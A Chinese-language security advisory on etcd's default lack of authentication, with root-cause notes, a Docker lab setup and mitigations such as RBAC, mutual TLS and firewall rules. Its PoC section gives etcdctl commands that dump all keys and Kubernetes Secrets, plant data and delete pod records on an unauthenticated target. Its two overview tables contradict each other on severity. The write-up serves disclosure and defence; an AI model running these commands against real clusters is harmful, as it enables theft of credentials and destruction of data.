一、漏洞简介¶
1.1 漏洞背景¶
etcd 是一个分布式键值存储系统,被广泛用于 Kubernetes 等云原生系统中作为核心数据存储。etcd 的设计理念强调简单性和性能,因此在默认配置下不启用身份认证功能。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 未授权访问(默认配置无认证) |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | etcd 安全 |
| 项目 | 内容 |
|---|---|
| 漏洞类型 | 配置缺陷 / 未授权访问 |
| CVE 编号 | 无特定 CVE(设计问题) |
| 危害等级 | 高危 |
| CVSS 评分 | 9.8 (Critical) - 根据实际暴露程度评估 |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- 所有 etcd 版本(在未正确配置认证的情况下)
2.2 不受影响的版本¶
- 正确配置了 TLS + RBAC 认证的 etcd 集群
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- etcd 服务端口(默认 2379)暴露在不可信网络中
- 未启用
--auth认证功能 - 未配置 TLS 客户端证书认证
- 未通过网络策略限制访问
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
+-----------------+ HTTP/gRPC +-----------------+
| 攻击者客户端 | ----------------> | etcd 服务端 |
+-----------------+ 无需任何认证 +-----------------+
|
v
+-----------------+
| 完整数据访问权限 |
+-----------------+
攻击者可以直接访问 etcd API,执行以下操作: - 读取所有键值对(包括敏感配置、Secrets) - 写入/修改/删除数据 - 创建/删除租约 - 获取集群成员信息 - 触发压缩操作
3.2 源码层面的根因分析(结合源码与补丁对比)¶
etcd 默认启动配置中,认证模块处于禁用状态:
// etcdserver/embed/config.go (简化示意)
type Config struct {
// 默认情况下 Auth 未启用
Auth string `json:"auth"` // 默认为空
...
}
认证检查在 API 层执行:
// auth/store.go (简化示意)
func (as *authStore) AuthEnabled() bool {
return as.enabled // 默认为 false
}
func (as *authStore) IsPutPermitted(authInfo *AuthInfo, key []byte) bool {
if !as.AuthEnabled() {
return true // 认证未启用时,允许所有操作
}
// ... 执行权限检查
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 启动一个未启用认证的 etcd 实例
docker run -d --name etcd-vulnerable \
-p 2379:2379 \
gcr.io/etcd-development/etcd:v3.5.9 \
/usr/local/bin/etcd \
--listen-client-urls http://0.0.0.0:2379 \
--advertise-client-urls http://0.0.0.0:2379
4.2 PoC 演示与测试过程¶
# 1. 无需认证直接读取所有键
etcdctl --endpoints=http://target:2379 get / --prefix
# 2. 写入任意数据
etcdctl --endpoints=http://target:2379 put /test/malicious "hacked"
# 3. 获取 Kubernetes Secrets(如果 etcd 存储了 Kubernetes 数据)
etcdctl --endpoints=http://target:2379 get /registry/secrets/ --prefix
# 4. 获取集群成员信息
etcdctl --endpoints=http://target:2379 member list
# 5. 删除关键数据
etcdctl --endpoints=http://target:2379 del /registry/pods/default/ --prefix
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
所有版本都支持认证功能,建议按以下方式配置。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:启用 RBAC 认证
# 1. 启用认证
etcdctl --endpoints=http://localhost:2379 auth enable
# 2. 创建 root 用户
etcdctl --endpoints=http://localhost:2379 user add root
# 3. 创建角色和权限
etcdctl --endpoints=http://localhost:2379 role add readonly
etcdctl --endpoints=http://localhost:2379 role grant-permission readonly read /data/
# 4. 用户绑定角色
etcdctl --endpoints=http://localhost:2379 user grant-role user1 readonly
方案二:配置 TLS 双向认证
etcd --listen-client-urls https://0.0.0.0:2379 \
--advertise-client-urls https://localhost:2379 \
--client-cert-auth \
--trusted-ca-file /path/to/ca.crt \
--cert-file /path/to/server.crt \
--key-file /path/to/server.key
方案三:网络层面限制
# iptables 规则限制
iptables -A INPUT -p tcp --dport 2379 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP
# 或使用 Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: etcd-access
spec:
podSelector:
matchLabels:
component: etcd
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
component: kube-apiserver